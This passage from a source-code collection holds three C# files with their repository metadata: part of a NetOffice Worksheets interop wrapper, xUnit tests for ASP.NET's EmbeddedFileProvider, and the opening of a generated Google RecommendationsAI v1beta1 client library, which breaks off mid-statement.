Invoker.Method(this, "Move", paramsArray); } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> [CustomMethodAttribute] [SupportByVersionAttribute("OWC10", 1)] public void Move() { object[] paramsArray = null; Invoker.Method(this, "Move", paramsArray); } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> /// <param name="before">optional object Before</param> [CustomMethodAttribute] [SupportByVersionAttribute("OWC10", 1)] public void Move(object before) { object[] paramsArray = Invoker.ValidateParamsArray(before); Invoker.Method(this, "Move", paramsArray); } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> /// <param name="replace">optional object Replace</param> [SupportByVersionAttribute("OWC10", 1)] public void Select(object replace) { object[] paramsArray = Invoker.ValidateParamsArray(replace); Invoker.Method(this, "Select", paramsArray); } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> [CustomMethodAttribute] [SupportByVersionAttribute("OWC10", 1)] public void Select() { object[] paramsArray = null; Invoker.Method(this, "Select", paramsArray); } #endregion #region IEnumerable<object> Member /// <summary> /// SupportByVersionAttribute OWC10, 1 /// </summary> [SupportByVersionAttribute("OWC10", 1)] public IEnumerator<object> GetEnumerator() { NetRuntimeSystem.Collections.IEnumerable innerEnumerator = (this as NetRuntimeSystem.Collections.IEnumerable); foreach (object item in innerEnumerator) yield return item; } #endregion #region IEnumerable Members /// <summary> /// SupportByVersionAttribute OWC10, 1 /// </summary> [SupportByVersionAttribute("OWC10", 1)] IEnumerator NetRuntimeSystem.Collections.IEnumerable.GetEnumerator() { return NetOffice.Utils.GetProxyEnumeratorAsProperty(this); } #endregion #pragma warning restore } }
30.033816
185
0.66101
[ "MIT" ]
NetOffice/NetOffice
Source/OWC10/DispatchInterfaces/Worksheets.cs
12,434
C#
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.IO; using System.Linq; using System.Reflection; using Xunit; namespace Microsoft.AspNet.FileProviders.Embedded.Tests { public class EmbeddedFileProviderTests { private static readonly string Namespace = typeof(EmbeddedFileProviderTests).Namespace; [Fact] public void When_GetFileInfo_and_resource_does_not_exist_then_should_not_get_file_info() { var provider = new EmbeddedFileProvider(GetType().GetTypeInfo().Assembly, Namespace); var fileInfo = provider.GetFileInfo("DoesNotExist.Txt"); Assert.NotNull(fileInfo); Assert.False(fileInfo.Exists); } [Fact] public void When_GetFileInfo_and_resource_exists_in_root_then_should_get_file_info() { var provider = new EmbeddedFileProvider(GetType().GetTypeInfo().Assembly, Namespace); var expectedFileLength = new FileInfo("File.txt").Length; var fileInfo = provider.GetFileInfo("File.txt"); Assert.NotNull(fileInfo); Assert.True(fileInfo.Exists); Assert.NotEqual(default(DateTimeOffset), fileInfo.LastModified); Assert.Equal(expectedFileLength, fileInfo.Length); Assert.False(fileInfo.IsDirectory); Assert.Null(fileInfo.PhysicalPath); Assert.Equal("File.txt", fileInfo.Name); //Passing in a leading slash fileInfo = provider.GetFileInfo("/File.txt"); Assert.NotNull(fileInfo); Assert.True(fileInfo.Exists); Assert.NotEqual(default(DateTimeOffset), fileInfo.LastModified); Assert.Equal(expectedFileLength, fileInfo.Length); Assert.False(fileInfo.IsDirectory); Assert.Null(fileInfo.PhysicalPath); Assert.Equal("File.txt", fileInfo.Name); } [Fact] public void When_GetFileInfo_and_resource_exists_in_subdirectory_then_should_get_file_info() { var provider = new EmbeddedFileProvider(GetType().GetTypeInfo().Assembly, Namespace + ".Resources"); var fileInfo = provider.GetFileInfo("ResourcesInSubdirectory/File3.txt"); Assert.NotNull(fileInfo); Assert.True(fileInfo.Exists); Assert.NotEqual(default(DateTimeOffset), fileInfo.LastModified); Assert.True(fileInfo.Length > 0); Assert.False(fileInfo.IsDirectory); Assert.Null(fileInfo.PhysicalPath); Assert.Equal("File3.txt", fileInfo.Name); } [Fact] public void When_GetFileInfo_and_resources_in_path_then_should_get_file_infos() { var provider = new EmbeddedFileProvider(GetType().GetTypeInfo().Assembly, Namespace); var fileInfo = provider.GetFileInfo("Resources/File.txt"); Assert.NotNull(fileInfo); Assert.True(fileInfo.Exists); Assert.NotEqual(default(DateTimeOffset), fileInfo.LastModified); Assert.True(fileInfo.Length > 0); Assert.False(fileInfo.IsDirectory); Assert.Null(fileInfo.PhysicalPath); Assert.Equal("File.txt", fileInfo.Name); } [Fact] public void GetDirectoryContents() { var provider = new EmbeddedFileProvider(GetType().GetTypeInfo().Assembly, Namespace + ".Resources"); var files = provider.GetDirectoryContents(""); Assert.NotNull(files); Assert.Equal(2, files.Count()); Assert.False(provider.GetDirectoryContents("file").Exists); Assert.False(provider.GetDirectoryContents("file/").Exists); Assert.False(provider.GetDirectoryContents("file.txt").Exists); Assert.False(provider.GetDirectoryContents("file/txt").Exists); } [Fact] public void GetDirInfo_with_no_matching_base_namespace() { var provider = new EmbeddedFileProvider(GetType().GetTypeInfo().Assembly, "Unknown.Namespace"); var files = provider.GetDirectoryContents(string.Empty); Assert.NotNull(files); Assert.True(files.Exists); Assert.Equal(0, files.Count()); } [Fact] public void Trigger_ShouldNot_Support_Registering_Callbacks() { var provider = new EmbeddedFileProvider(GetType().GetTypeInfo().Assembly, Namespace); var trigger = provider.Watch("Resources/File.txt"); Assert.NotNull(trigger); Assert.False(trigger.ActiveExpirationCallbacks); Assert.False(trigger.IsExpired); } } }
41.525862
112
0.64563
[ "Apache-2.0" ]
mj1856/FileSystem
test/Microsoft.AspNet.FileProviders.Embedded.Tests/EmbeddedFileProviderTests.cs
4,817
C#
// Copyright 2021 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Generated code. DO NOT EDIT! namespace Google.Apis.RecommendationsAI.v1beta1 { /// <summary>The RecommendationsAI Service.</summary> public class RecommendationsAIService : Google.Apis.Services.BaseClientService { /// <summary>The API version.</summary> public const string Version = "v1beta1"; /// <summary>The discovery version used to generate this service.</summary> public static Google.Apis.Discovery.DiscoveryVersion DiscoveryVersionUsed = Google.Apis.Discovery.DiscoveryVersion.Version_1_0; /// <summary>Constructs a new service.</summary> public RecommendationsAIService() : this(new Google.Apis.Services.BaseClientService.Initializer()) { } /// <summary>Constructs a new service.</summary> /// <param name="initializer">The service initializer.</param> public RecommendationsAIService(Google.Apis.Services.BaseClientService.Initializer initializer) : base(initializer) { Projects = new ProjectsResource(this); } /// <summary>Gets the service supported features.</summary> public override System.Collections.Generic.IList<string> Features => new string[0]; /// <summary>Gets the service name.</summary> public override string Name => "recommendationengine"; /// <summary>Gets the service base URI.</summary> public override string BaseUri => #if NETSTANDARD1_3 || NETSTANDARD2_0 || NET45 BaseUriOverride ?? "https://recommendationengine.googleapis.com/"; #else "https://recommendationengine.googleapis.com/"; #endif /// <summary>Gets the service base path.</summary> public override string BasePath => ""; #if !NET40 /// <summary>Gets the batch base URI; <c>null</c> if unspecified.</summary> public override string BatchUri => "https://recommendationengine.googleapis.com/batch"; /// <summary>Gets the batch base path; <c>null</c> if unspecified.</summary> public override string BatchPath => "batch"; #endif /// <summary>Available OAuth 2.0 scopes for use with the Recommendations AI (Beta).</summary> public class Scope { /// <summary>See, edit, configure, and delete your Google Cloud Platform data</summary> public static string CloudPlatform = "https://www.googleapis.com/auth/cloud-platform"; } /// <summary>Available OAuth 2.0 scope constants for use with the Recommendations AI (Beta).</summary> public static class ScopeConstants { /// <summary>See, edit, configure, and delete your Google Cloud Platform data</summary> public const string CloudPlatform = "https://www.googleapis.com/auth/cloud-platform"; } /// <summary>Gets the Projects resource.</summary> public virtual ProjectsResource Projects { get; } } /// <summary>A base abstract class for RecommendationsAI requests.</summary> public abstract class RecommendationsAIBaseServiceRequest<TResponse> : Google.Apis.Requests.ClientServiceRequest<TResponse> { /// <summary>Constructs a new RecommendationsAIBaseServiceRequest instance.</summary> protected RecommendationsAIBaseServiceRequest(Google.Apis.Services.IClientService service) : base(service) { } /// <summary>V1 error format.</summary> [Google.Apis.Util.RequestParameterAttribute("$.xgafv", Google.Apis.Util.RequestParameterType.Query)] public virtual System.Nullable<XgafvEnum> Xgafv { get; set; } /// <summary>V1 error format.</summary> public enum XgafvEnum { /// <summary>v1 error format</summary> [Google.Apis.Util.StringValueAttribute("1")] Value1 = 0, /// <summary>v2 error format</summary> [Google.Apis.Util.StringValueAttribute("2")] Value2 = 1, } /// <summary>OAuth access token.</summary> [Google.Apis.Util.RequestParameterAttribute("access_token", Google.Apis.Util.RequestParameterType.Query)] public virtual string AccessToken { get; set; } /// <summary>Data format for response.</summary> [Google.Apis.Util.RequestParameterAttribute("alt", Google.Apis.Util.RequestParameterType.Query)] public virtual System.Nullable<AltEnum> Alt { get; set; } /// <summary>Data format for response.</summary> public enum AltEnum { /// <summary>Responses with Content-Type of application/json</summary> [Google.Apis.Util.StringValueAttribute("json")] Json = 0, /// <summary>Media download with context-dependent Content-Type</summary> [Google.Apis.Util.StringValueAttribute("media")] Media = 1, /// <summary>Responses with Content-Type of application/x-protobuf</summary> [Google.Apis.Util.StringValueAttribute("proto")] Proto = 2, } /// <summary>JSONP</summary> [Google.Apis.Util.RequestParameterAttribute("callback", Google.Apis.Util.RequestParameterType.Query)] public virtual string Callback { get; set; } /// <summary>Selector specifying which fields to include in a partial response.</summary> [Google.Apis.Util.RequestParameterAttribute("fields", Google.Apis.Util.RequestParameterType.Query)] public virtual string Fields { get; set; } /// <summary> /// API key. Your API key identifies your project and provides you with API access, quota, and reports. Required /// unless you provide an OAuth 2.0 token. /// </summary> [Google.Apis.Util.RequestParameterAttribute("key", Google.Apis.Util.RequestParameterType.Query)] public virtual string Key { get; set; } /// <summary>OAuth 2.0 token for the current user.</summary> [Google.Apis.Util.RequestParameterAttribute("oauth_token", Google.Apis.Util.RequestParameterType.Query)] public virtual string OauthToken { get; set; } /// <summary>Returns response with indentations and line breaks.</summary> [Google.Apis.Util.RequestParameterAttribute("prettyPrint", Google.Apis.Util.RequestParameterType.Query)] public virtual System.Nullable<bool> PrettyPrint { get; set; } /// <summary> /// Available to use for quota purposes for server-side applications. Can be any arbitrary string assigned to a /// user, but should not exceed 40 characters. /// </summary> [Google.Apis.Util.RequestParameterAttribute("quotaUser", Google.Apis.Util.RequestParameterType.Query)] public virtual string QuotaUser { get; set; } /// <summary>Legacy upload protocol for media (e.g. "media", "multipart").</summary> [Google.Apis.Util.RequestParameterAttribute("uploadType", Google.Apis.Util.RequestParameterType.Query)] public virtual string UploadType { get; set; } /// <summary>Upload protocol for media (e.g. "raw", "multipart").</summary> [Google.Apis.Util.RequestParameterAttribute("upload_protocol", Google.Apis.Util.RequestParameterType.Query)] public virtual string UploadProtocol { get; set; } /// <summary>Initializes RecommendationsAI parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("$.xgafv", new Google.Apis.Discovery.Parameter { Name = "$.xgafv", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("access_token", new Google.Apis.Discovery.Parameter { Name = "access_token", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("alt", new Google.Apis.Discovery.Parameter { Name = "alt", IsRequired = false, ParameterType = "query", DefaultValue = "json", Pattern = null, }); RequestParameters.Add("callback", new Google.Apis.Discovery.Parameter { Name = "callback", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("fields", new Google.Apis.Discovery.Parameter { Name = "fields", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("key", new Google.Apis.Discovery.Parameter { Name = "key", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("oauth_token", new Google.Apis.Discovery.Parameter { Name = "oauth_token", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("prettyPrint", new Google.Apis.Discovery.Parameter { Name = "prettyPrint", IsRequired = false, ParameterType = "query", DefaultValue = "true", Pattern = null, }); RequestParameters.Add("quotaUser", new Google.Apis.Discovery.Parameter { Name = "quotaUser", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("uploadType", new Google.Apis.Discovery.Parameter { Name = "uploadType", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("upload_protocol", new Google.Apis.Discovery.Parameter { Name = "upload_protocol", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); } } /// <summary>The "projects" collection of methods.</summary> public class ProjectsResource { private const string Resource = "projects"; /// <summary>The service which this resource belongs to.</summary> private readonly Google.Apis.Services.IClientService service; /// <summary>Constructs a new resource.</summary> public ProjectsResource(Google.Apis.Services.IClientService service) { this.service = service; Locations = new LocationsResource(service); } /// <summary>Gets the Locations resource.</summary> public virtual LocationsResource Locations { get; } /// <summary>The "locations" collection of methods.</summary> public class LocationsResource { private const string Resource = "locations"; /// <summary>The service which this resource belongs to.</summary> private readonly Google.Apis.Services.IClientService service; /// <summary>Constructs a new resource.</summary> public LocationsResource(Google.Apis.Services.IClientService service) { this.service = service; Catalogs = new CatalogsResource(service); } /// <summary>Gets the Catalogs resource.</summary> public virtual CatalogsResource Catalogs { get; } /// <summary>The "catalogs" collection of methods.</summary> public class CatalogsResource { private const string Resource = "catalogs"; /// <summary>The service which this resource belongs to.</summary> private readonly Google.Apis.Services.IClientService service; /// <summary>Constructs a new resource.</summary> public CatalogsResource(Google.Apis.Services.IClientService service) { this.service = service; CatalogItems = new CatalogItemsResource(service); EventStores = new EventStoresResource(service); Operations = new OperationsResource(service); } /// <summary>Gets the CatalogItems resource.</summary> public virtual CatalogItemsResource CatalogItems { get; } /// <summary>The "catalogItems" collection of methods.</summary> public class CatalogItemsResource { private const string Resource = "catalogItems"; /// <summary>The service which this resource belongs to.</summary> private readonly Google.Apis.Services.IClientService service; /// <summary>Constructs a new resource.</summary> public CatalogItemsResource(Google.Apis.Services.IClientService service) { this.service = service; } /// <summary>Creates a catalog item.</summary> /// <param name="body">The body of the request.</param> /// <param name="parent"> /// Required. The parent catalog resource name, such as /// "projects/*/locations/global/catalogs/default_catalog". /// </param> public virtual CreateRequest Create(Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CatalogItem body, string parent) { return new CreateRequest(service, body, parent); } /// <summary>Creates a catalog item.</summary> public class CreateRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CatalogItem> { /// <summary>Constructs a new Create request.</summary> public CreateRequest(Google.Apis.Services.IClientService service, Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CatalogItem body, string parent) : base(service) { Parent = parent; Body = body; InitParameters(); } /// <summary> /// Required. The parent catalog resource name, such as /// "projects/*/locations/global/catalogs/default_catalog". /// </summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary>Gets or sets the body of this request.</summary> Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CatalogItem Body { get; set; } /// <summary>Returns the body of the request.</summary> protected override object GetBody() => Body; /// <summary>Gets the method name.</summary> public override string MethodName => "create"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "POST"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/catalogItems"; /// <summary>Initializes Create parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+$", }); } } /// <summary>Deletes a catalog item.</summary> /// <param name="name"> /// Required. Full resource name of catalog item, such as /// "projects/*/locations/global/catalogs/default_catalog/catalogItems/some_catalog_item_id". /// </param> public virtual DeleteRequest Delete(string name) { return new DeleteRequest(service, name); } /// <summary>Deletes a catalog item.</summary> public class DeleteRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleProtobufEmpty> { /// <summary>Constructs a new Delete request.</summary> public DeleteRequest(Google.Apis.Services.IClientService service, string name) : base(service) { Name = name; InitParameters(); } /// <summary> /// Required. Full resource name of catalog item, such as /// "projects/*/locations/global/catalogs/default_catalog/catalogItems/some_catalog_item_id". /// </summary> [Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)] public virtual string Name { get; private set; } /// <summary>Gets the method name.</summary> public override string MethodName => "delete"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "DELETE"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+name}"; /// <summary>Initializes Delete parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("name", new Google.Apis.Discovery.Parameter { Name = "name", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/catalogItems/.*$", }); } } /// <summary>Gets a specific catalog item.</summary> /// <param name="name"> /// Required. Full resource name of catalog item, such as /// "projects/*/locations/global/catalogs/default_catalog/catalogitems/some_catalog_item_id". /// </param> public virtual GetRequest Get(string name) { return new GetRequest(service, name); } /// <summary>Gets a specific catalog item.</summary> public class GetRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CatalogItem> { /// <summary>Constructs a new Get request.</summary> public GetRequest(Google.Apis.Services.IClientService service, string name) : base(service) { Name = name; InitParameters(); } /// <summary> /// Required. Full resource name of catalog item, such as /// "projects/*/locations/global/catalogs/default_catalog/catalogitems/some_catalog_item_id". /// </summary> [Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)] public virtual string Name { get; private set; } /// <summary>Gets the method name.</summary> public override string MethodName => "get"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "GET"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+name}"; /// <summary>Initializes Get parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("name", new Google.Apis.Discovery.Parameter { Name = "name", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/catalogItems/.*$", }); } } /// <summary> /// Bulk import of multiple catalog items. Request processing may be synchronous. No partial /// updating supported. Non-existing items will be created. Operation.response is of type /// ImportResponse. Note that it is possible for a subset of the items to be successfully updated. /// </summary> /// <param name="body">The body of the request.</param> /// <param name="parent"> /// Required. "projects/1234/locations/global/catalogs/default_catalog" If no updateMask is /// specified, requires catalogItems.create permission. If updateMask is specified, requires /// catalogItems.update permission. /// </param> public virtual ImportRequest Import(Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1ImportCatalogItemsRequest body, string parent) { return new ImportRequest(service, body, parent); } /// <summary> /// Bulk import of multiple catalog items. Request processing may be synchronous. No partial /// updating supported. Non-existing items will be created. Operation.response is of type /// ImportResponse. Note that it is possible for a subset of the items to be successfully updated. /// </summary> public class ImportRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleLongrunningOperation> { /// <summary>Constructs a new Import request.</summary> public ImportRequest(Google.Apis.Services.IClientService service, Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1ImportCatalogItemsRequest body, string parent) : base(service) { Parent = parent; Body = body; InitParameters(); } /// <summary> /// Required. "projects/1234/locations/global/catalogs/default_catalog" If no updateMask is /// specified, requires catalogItems.create permission. If updateMask is specified, requires /// catalogItems.update permission. /// </summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary>Gets or sets the body of this request.</summary> Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1ImportCatalogItemsRequest Body { get; set; } /// <summary>Returns the body of the request.</summary> protected override object GetBody() => Body; /// <summary>Gets the method name.</summary> public override string MethodName => "import"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "POST"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/catalogItems:import"; /// <summary>Initializes Import parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+$", }); } } /// <summary>Gets a list of catalog items.</summary> /// <param name="parent"> /// Required. The parent catalog resource name, such as /// "projects/*/locations/global/catalogs/default_catalog". /// </param> public virtual ListRequest List(string parent) { return new ListRequest(service, parent); } /// <summary>Gets a list of catalog items.</summary> public class ListRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1ListCatalogItemsResponse> { /// <summary>Constructs a new List request.</summary> public ListRequest(Google.Apis.Services.IClientService service, string parent) : base(service) { Parent = parent; InitParameters(); } /// <summary> /// Required. The parent catalog resource name, such as /// "projects/*/locations/global/catalogs/default_catalog". /// </summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary>Optional. A filter to apply on the list results.</summary> [Google.Apis.Util.RequestParameterAttribute("filter", Google.Apis.Util.RequestParameterType.Query)] public virtual string Filter { get; set; } /// <summary> /// Optional. Maximum number of results to return per page. If zero, the service will choose a /// reasonable default. /// </summary> [Google.Apis.Util.RequestParameterAttribute("pageSize", Google.Apis.Util.RequestParameterType.Query)] public virtual System.Nullable<int> PageSize { get; set; } /// <summary>Optional. The previous ListCatalogItemsResponse.next_page_token.</summary> [Google.Apis.Util.RequestParameterAttribute("pageToken", Google.Apis.Util.RequestParameterType.Query)] public virtual string PageToken { get; set; } /// <summary>Gets the method name.</summary> public override string MethodName => "list"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "GET"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/catalogItems"; /// <summary>Initializes List parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+$", }); RequestParameters.Add("filter", new Google.Apis.Discovery.Parameter { Name = "filter", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("pageSize", new Google.Apis.Discovery.Parameter { Name = "pageSize", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("pageToken", new Google.Apis.Discovery.Parameter { Name = "pageToken", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); } } /// <summary> /// Updates a catalog item. Partial updating is supported. Non-existing items will be created. /// </summary> /// <param name="body">The body of the request.</param> /// <param name="name"> /// Required. Full resource name of catalog item, such as /// "projects/*/locations/global/catalogs/default_catalog/catalogItems/some_catalog_item_id". /// </param> public virtual PatchRequest Patch(Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CatalogItem body, string name) { return new PatchRequest(service, body, name); } /// <summary> /// Updates a catalog item. Partial updating is supported. Non-existing items will be created. /// </summary> public class PatchRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CatalogItem> { /// <summary>Constructs a new Patch request.</summary> public PatchRequest(Google.Apis.Services.IClientService service, Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CatalogItem body, string name) : base(service) { Name = name; Body = body; InitParameters(); } /// <summary> /// Required. Full resource name of catalog item, such as /// "projects/*/locations/global/catalogs/default_catalog/catalogItems/some_catalog_item_id". /// </summary> [Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)] public virtual string Name { get; private set; } /// <summary> /// Optional. Indicates which fields in the provided 'item' to update. If not set, will by /// default update all fields. /// </summary> [Google.Apis.Util.RequestParameterAttribute("updateMask", Google.Apis.Util.RequestParameterType.Query)] public virtual object UpdateMask { get; set; } /// <summary>Gets or sets the body of this request.</summary> Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CatalogItem Body { get; set; } /// <summary>Returns the body of the request.</summary> protected override object GetBody() => Body; /// <summary>Gets the method name.</summary> public override string MethodName => "patch"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "PATCH"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+name}"; /// <summary>Initializes Patch parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("name", new Google.Apis.Discovery.Parameter { Name = "name", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/catalogItems/.*$", }); RequestParameters.Add("updateMask", new Google.Apis.Discovery.Parameter { Name = "updateMask", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); } } } /// <summary>Gets the EventStores resource.</summary> public virtual EventStoresResource EventStores { get; } /// <summary>The "eventStores" collection of methods.</summary> public class EventStoresResource { private const string Resource = "eventStores"; /// <summary>The service which this resource belongs to.</summary> private readonly Google.Apis.Services.IClientService service; /// <summary>Constructs a new resource.</summary> public EventStoresResource(Google.Apis.Services.IClientService service) { this.service = service; Operations = new OperationsResource(service); Placements = new PlacementsResource(service); PredictionApiKeyRegistrations = new PredictionApiKeyRegistrationsResource(service); UserEvents = new UserEventsResource(service); } /// <summary>Gets the Operations resource.</summary> public virtual OperationsResource Operations { get; } /// <summary>The "operations" collection of methods.</summary> public class OperationsResource { private const string Resource = "operations"; /// <summary>The service which this resource belongs to.</summary> private readonly Google.Apis.Services.IClientService service; /// <summary>Constructs a new resource.</summary> public OperationsResource(Google.Apis.Services.IClientService service) { this.service = service; } /// <summary> /// Gets the latest state of a long-running operation. Clients can use this method to poll the /// operation result at intervals as recommended by the API service. /// </summary> /// <param name="name">The name of the operation resource.</param> public virtual GetRequest Get(string name) { return new GetRequest(service, name); } /// <summary> /// Gets the latest state of a long-running operation. Clients can use this method to poll the /// operation result at intervals as recommended by the API service. /// </summary> public class GetRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleLongrunningOperation> { /// <summary>Constructs a new Get request.</summary> public GetRequest(Google.Apis.Services.IClientService service, string name) : base(service) { Name = name; InitParameters(); } /// <summary>The name of the operation resource.</summary> [Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)] public virtual string Name { get; private set; } /// <summary>Gets the method name.</summary> public override string MethodName => "get"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "GET"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+name}"; /// <summary>Initializes Get parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("name", new Google.Apis.Discovery.Parameter { Name = "name", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+/operations/[^/]+$", }); } } /// <summary> /// Lists operations that match the specified filter in the request. If the server doesn't /// support this method, it returns `UNIMPLEMENTED`. NOTE: the `name` binding allows API /// services to override the binding to use different resource name schemes, such as /// `users/*/operations`. To override the binding, API services can add a binding such as /// `"/v1/{name=users/*}/operations"` to their service configuration. For backwards /// compatibility, the default name includes the operations collection id, however overriding /// users must ensure the name binding is the parent resource, without the operations collection /// id. /// </summary> /// <param name="name">The name of the operation's parent resource.</param> public virtual ListRequest List(string name) { return new ListRequest(service, name); } /// <summary> /// Lists operations that match the specified filter in the request. If the server doesn't /// support this method, it returns `UNIMPLEMENTED`. NOTE: the `name` binding allows API /// services to override the binding to use different resource name schemes, such as /// `users/*/operations`. To override the binding, API services can add a binding such as /// `"/v1/{name=users/*}/operations"` to their service configuration. For backwards /// compatibility, the default name includes the operations collection id, however overriding /// users must ensure the name binding is the parent resource, without the operations collection /// id. /// </summary> public class ListRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleLongrunningListOperationsResponse> { /// <summary>Constructs a new List request.</summary> public ListRequest(Google.Apis.Services.IClientService service, string name) : base(service) { Name = name; InitParameters(); } /// <summary>The name of the operation's parent resource.</summary> [Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)] public virtual string Name { get; private set; } /// <summary>The standard list filter.</summary> [Google.Apis.Util.RequestParameterAttribute("filter", Google.Apis.Util.RequestParameterType.Query)] public virtual string Filter { get; set; } /// <summary>The standard list page size.</summary> [Google.Apis.Util.RequestParameterAttribute("pageSize", Google.Apis.Util.RequestParameterType.Query)] public virtual System.Nullable<int> PageSize { get; set; } /// <summary>The standard list page token.</summary> [Google.Apis.Util.RequestParameterAttribute("pageToken", Google.Apis.Util.RequestParameterType.Query)] public virtual string PageToken { get; set; } /// <summary>Gets the method name.</summary> public override string MethodName => "list"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "GET"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+name}/operations"; /// <summary>Initializes List parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("name", new 